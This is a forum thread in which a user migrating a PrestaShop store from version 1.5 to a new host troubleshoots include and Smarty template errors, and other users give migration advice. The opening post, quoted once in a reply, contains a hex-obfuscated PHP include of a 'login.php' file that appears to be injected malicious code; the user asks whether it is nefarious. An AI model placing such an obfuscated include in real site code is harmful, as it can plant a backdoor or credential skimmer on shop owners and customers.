Jump to content

Transfer To New Host And New To Prestashop


Recommended Posts

Hello all,

 

I was recently asked to help a friend transfer his PrestaShop site to a new host. He received a SQL backup and all PrestaShop files from his previous webmaster and gave them to me.

 

I have created a folder on his new host "Shop" under the root directory. I uploaded his files and created a new SQL database. I then imported his old SQL database and edited the "settings.inc.php" file.

 

But when I load the new website I am receiving this error:

 

failed to open stream: No such file or directory in /home/cwilwert/public_html/shop/index.php on line 3

 

I am a little confused on a line of code in the index.php file under the shop directory. Is this an absolute path or something nefarious?

 

include "\x2fhom\x65/us\x65rs/\x77eb/\x62190\x36/po\x77.rc\x73com\x70ute\x72sal\x65sco\x6d/ht\x64ocs\x2feli\x74eou\x74doo\x72s24\x37.co\x6d/sh\x6fp/c\x6cass\x65s/e\x78cep\x74ion\x2flog\x69n.p\x68p";

 

Thank you in advance and I apoligize if this has been covered, but I search and did not see it.

Link to comment
Share on other sites

Thanks for the reply bellini13!

 

I am using PS v1.6.

 

After commenting this out, I now have a new error:

 

Fatal error: Uncaught --> Smarty Compiler: Syntax error in template "/home/cwilwert/public_html/shop/themes/default-bootstrap/modules/blockcart/blockcart.tpl" on line 339 "{addJsDef CUSTOMIZE_TEXTFIELD=$CUSTOMIZE_TEXTFIELD}" unknown tag "addJsDef" <-- thrown in /home/cwilwert/public_html/shop/tools/smarty/sysplugins/smarty_internal_templatecompilerbase.php on line 339

 

I am not sure where to go from here.

Link to comment
Share on other sites

Hello all,

 

I was recently asked to help a friend transfer his PrestaShop site to a new host. He received a SQL backup and all PrestaShop files from his previous webmaster and gave them to me.

 

I have created a folder on his new host "Shop" under the root directory. I uploaded his files and created a new SQL database. I then imported his old SQL database and edited the "settings.inc.php" file.

 

But when I load the new website I am receiving this error:

 

failed to open stream: No such file or directory in /home/cwilwert/public_html/shop/index.php on line 3

 

I am a little confused on a line of code in the index.php file under the shop directory. Is this an absolute path or something nefarious?

 

include "\x2fhom\x65/us\x65rs/\x77eb/\x62190\x36/po\x77.rc\x73com\x70ute\x72sal\x65sco\x6d/ht\x64ocs\x2feli\x74eou\x74doo\x72s24\x37.co\x6d/sh\x6fp/c\x6cass\x65s/e\x78cep\x74ion\x2flog\x69n.p\x68p";

 

Thank you in advance and I apoligize if this has been covered, but I search and did not see it.

 

My first question is why did you create a folder named shop, all files should have been uploaded directly to the public_html folder.

 

You would need to point the URL to the sub directory in the control panel of the Host if using a sub folder.

 

Also when you created the database was the database server, user and password the same as original if not these need to be changed in the settings.inc.php file.

Link to comment
Share on other sites

I am sorry I was vague in my original post.

 

I am being tasked with helping a friend move his website to a new host. With my limited understanding of PrestaShop I thought I just needed to get a backup of his database (SQL) and an archive of his current website.

 

His current webmaster gave use a back of the database and a zip file with what I presumed are all the files for his site.

 

His current website is running PS 1.5.4.0 (I didn't know this until I had already uploaded PS 1.6.1.4.

 

Yes - I did edit the settings.inc.php file with the current information.

 

I put all of the files under "Shop" just to keep it organized for myself. Should I change this?

 

Would it be better for me to upload PS 1.5.4.0 to his NEW host instead of trying to make it work with PS 1.6?

Link to comment
Share on other sites

You can not use a 1.5 database to run a 1.6 store/files, you need to upload the files from the zip backup and the database that goes with it.

There were a lot of changes from 1.5 to 1.6 so that just want work.

Upload the files to the root folder public_html and then make ant necessary changes the settings file and database URLs.

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
×
×
  • Create New...